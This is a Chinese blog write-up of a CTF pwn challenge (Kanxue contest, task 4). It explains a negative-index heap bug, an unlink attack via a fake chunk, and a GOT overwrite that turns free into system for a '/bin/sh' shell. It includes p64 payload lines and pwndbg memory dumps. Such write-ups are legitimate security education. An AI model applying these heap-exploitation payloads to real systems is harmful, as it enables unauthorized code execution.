

看雪wifi万能钥匙CTF年中赛 第四题 writeup(2)

原创

Flying_Fatty 于 2018-01-04 11:27:34 发布 469 收藏

分类专栏: [pwn CTF之旅 Linux](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/kevin66654/article/details/78968432>

版权



[pwn](#) 同时被 3 个专栏收录

33 篇文章 0 订阅

订阅专栏



[CTF之旅](#)

84 篇文章 2 订阅

订阅专栏



[Linux](#)

18 篇文章 0 订阅

订阅专栏

题目下载链接: <https://ctf.pediy.com/game-fight-34.htm>

上一篇题解是学习的poyoten的姿势, 这个呢, 是学习到了loudy大神的姿势

题解在这: <https://bbs.pediy.com/thread-218318.htm>

首先呢: 要把sys_rva和put_rva以及free_rva换成本地libc的偏移值, 姿势如图

```
@ubuntu:/lib/x86_64-linux-gnu$ nm -D libc.so.6 | grep system
000000000046590 T __libc_system
000000000012ed80 T svcerr_systemerr
000000000046590 W system
@ubuntu:/lib/x86_64-linux-gnu$ nm -D libc.so.6 | grep puts
000000000006e660 W fputs
0000000000073990 T fputs_unlocked
000000000006e660 T _IO_fputs
000000000006fd60 T _IO_puts
000000000006fd60 W puts
00000000001044b0 T puts_gent
0000000000102a80 T puts_pent
@ubuntu:/lib/x86_64-linux-gnu$ nm -D libc.so.6 | grep free
0000000000083120 W cfree
0000000000083120 T free
00000000000d44b0 T freeaddrinfo
000000000003c4a10 W free_hook
00000000000118190 T freeifaddrs
000000000002f800 W freelocale
000000000002f800 T __freelocale
00000000000c7d30 T globfree
00000000000c7d30 W globfree64
0000000000116bf0 T if_freenameindex
000000000007b0f0 T _IO_free_backup_area
0000000000074fc0 T _IO_free_wbackup_area
0000000000083120 T __libc_free
0000000000168d90 T __libc_freeres
0000000000169880 T __libc_thread_freeres
0000000000086e80 T _obstack_free
0000000000086e80 T obstack_free
00000000000e7690 W regfree
```

按照第一篇的方法，给代码加上gdb断点

```
gdb.attach(p, 'b *0x400ce9 \nb *0x400d01 \nb *0x400b62')
```

然后看看程序在运行的时候发生了什么

首先是多个create创建堆，注意一一和数据结构的指针对应好

```
pwndbg> x/20xw *0x6020c0
0x1659010: 0x000000a0 0x000000a0 0x000000a0 0x000000a0
0x1659020: 0x00000000 0x00000000 0x00000031 0x00000000
0x1659030: 0x64756f6c 0x00000a79 0x00000000 0x00000000
0x1659040: 0x00000000 0x00000000 0x00000000 0x00000000
0x1659050: 0x00000000 0x00000000 0x000000b1 0x00000000
```

上图表示：0x6020c0这里保存的是指针，指针指向的是各个堆块的大小（也就是4个create的160字节大小）

```
0x1659050 PREV_INUSE {
  prev_size = 0x0,
  size = 0xb1,
  fd = 0x6161616161616161,
  bk = 0x6161616161616161,
  fd_nextsize = 0x6161616161616161,
  bk_nextsize = 0x6161616161616161
}
0x1659100 PREV_INUSE {
  prev_size = 0x0,
  size = 0xb1,
  fd = 0x6262626262626262,
  bk = 0x6262626262626262,
  fd_nextsize = 0x6262626262626262,
  bk_nextsize = 0x6262626262626262
}
0x16591b0 PREV_INUSE {
  prev_size = 0x0,
  size = 0xb1,
  fd = 0x3b68732f6e69622f,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363
}
0x1659260 PREV_INUSE {
  prev_size = 0x0,
  size = 0xb1,
  fd = 0x3b68732f6e69622f,
  bk = 0x6565656565656565,
  fd_nextsize = 0x6565656565656565,
  bk_nextsize = 0x6565656565656565
}
```

上图表示的是heap中的数据存储，说明4个create成功创建

```
pwndbg> x/20xw 0x6020e0
0x6020e0: 0x01659060 0x00000000 0x00000001 0x00000000
0x6020f0: 0x01659110 0x00000000 0x00000001 0x00000000
0x602100: 0x016591c0 0x00000000 0x00000001 0x00000000
0x602110: 0x01659270 0x00000000 0x00000001 0x00000000
0x602120: 0x00000000 0x00000000 0x00000000 0x00000000
```

这里的0x6020e0，是heap的数据存储的结构体，一个heap数据是16个字节，第一个8个字节是ptr指针，指向的数据存放的地址；第二个8个字节是flag的一个标记，flag=1表示当前的heap是正在使用中的

其实，最关键的是这个create (-2) 会发生什么？

分析一下heap的数据结构

6020c0地址这里保存的是每个堆块的大小，调试下可以看到

6020e0这里是个指针，保存的是我们输入的堆块内容的地址的值，6020e8这个地方是个flag的标记，说明这个堆块是否用过了

所以！这个-2！

会导致分配的内存数据的值，会覆盖掉第0块内存的大小

因为6020e0[-2]，这个地址，其实是6020c0！（6020e0这个结构体的大小是0x10的，-2相当于两个偏移）

看下我们的调试结果

```
pwndbg> x/20xw *0x6020c0
0x12ba320: 0x64646464 0x00646464 0x0000e483 0x00000000
0x12ba330: 0x00000000 0x00000000 0x00020cd1 0x00000000
0x12ba340: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ba350: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ba360: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg> x/20xw 0x6020c0
0x6020c0: 0x012ba320 0x00000000 0x00000001 0x00000000
0x6020d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6020e0: 0x012ba060 0x00000000 0x00000001 0x00000000
0x6020f0: 0x012ba110 0x00000000 0x00000001 0x00000000
0x602100: 0x012ba1c0 0x00000000 0x00000001 0x00000000
pwndbg>
```

这里的0x64，说明create（-2）已经成功了

接下来是对payload = p64(0x0)+p64(0xa1)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10)+'a'*0x80+p64(0xa0)+p64(0xb0)的解读

注意到每个堆块的大小都是0xa0

p64(0x0) + p64(0xa1)表示前一个chunk正在使用中，当前chunk尺寸为0xa0

p64(X-0x18) + p64(X - 0x10)表示的fd和bk的指向地址（unlink的标准操作）

p64(0xa0) + p64(0xb0)表示前一个chunk未使用，大小为0xa0，当前chunk的尺寸为0xb0

所以我们修改的是“-2”的unlink

```
payload2 = p64(0x0)+p64(0x1)+p64(0xa)+p64(0x602018)+p64(1)+p64(0x603110)+p64(0xa)
```

```
edit_ex('0',payload2)
```

这里， p64(0x0)是heap["-2"]的没有被使用的标记

p64(0x1) + p64(0xa)是修改的heap[-1]

p64(0x602018) + p64(1)是修改的heap[0]

p64(0x603110) + p64(0xa)是修改的heap[1]

p64(0x602020)是修改的heap[2]

602018: free的got地址!

602020: puts的got地址!

所以,是殊途同归的,都是想要利用unlink,来修改free成system来提权

```
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 10
[0x602018] free -> 0x4006d0 (puts@plt) ← jmp qword ptr [rip + 0x20194a]
[0x602020] puts -> 0x7f4d4f984000 (puts) ← push r12
[0x602028] write -> 0x7f4d4fa04380 (write) ← cmp dword ptr [rip + 0x2d8ced], 0
[0x602030] read -> 0x7f4d4fa04320 (read) ← cmp dword ptr [rip + 0x2d8d4d], 0
[0x602038] memcpy -> 0x7f4d4f9afa30 (__memcpy_sse2_unaligned) ← mov rax, rsi
[0x602040] malloc -> 0x7f4d4f997a80 (malloc) ← push rbp
[0x602048] fflush -> 0x7f4d4f982e20 (fflush) ← test rdi, rdi
[0x602050] setvbuf -> 0x7f4d4f9855a0 (setvbuf) ← push r12
[0x602058] atoi -> 0x7f4d4f94ee0 (atoi) ← sub rsp, 8
[0x602060] exit -> 0x400756 (exit@plt+6) ← push 9 /* '\n\t' */
pwndbg> plt
0x4006c0: free@plt
0x4006d0: puts@plt
0x4006e0: write@plt
0x4006f0: read@plt
0x400700: memcpy@plt
0x400710: malloc@plt
0x400720: fflush@plt
0x400730: setvbuf@plt
0x400740: atoi@plt
0x400750: exit@plt
```

这里说明了free被覆盖成了puts的地址

我们可以利用puts函数把puts的地址输出,再根据libc的偏移,计算出system的地址

再覆盖到free的got表中

```
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 10
[0x602018] free -> 0x7f4d4f95b590 (system) ← test rdi, rdi
[0x602020] puts -> 0x7f4d4f984000 (puts) ← push r12
[0x602028] write -> 0x7f4d4fa04380 (write) ← cmp dword ptr [rip + 0x2d8ced], 0
[0x602030] read -> 0x7f4d4fa04320 (read) ← cmp dword ptr [rip + 0x2d8d4d], 0
[0x602038] memcpy -> 0x7f4d4f9afa30 (__memcpy_sse2_unaligned) ← mov rax, rsi
[0x602040] malloc -> 0x7f4d4f997a80 (malloc) ← push rbp
[0x602048] fflush -> 0x7f4d4f982e20 (fflush) ← test rdi, rdi
[0x602050] setvbuf -> 0x7f4d4f9855a0 (setvbuf) ← push r12
[0x602058] atoi -> 0x7f4d4f94ee0 (atoi) ← sub rsp, 8
[0x602060] exit -> 0x400756 (exit@plt+6) ← push 9 /* '\n\t' */
pwndbg> |
```

于是,system('/bin/sh')提权,得到flag~~~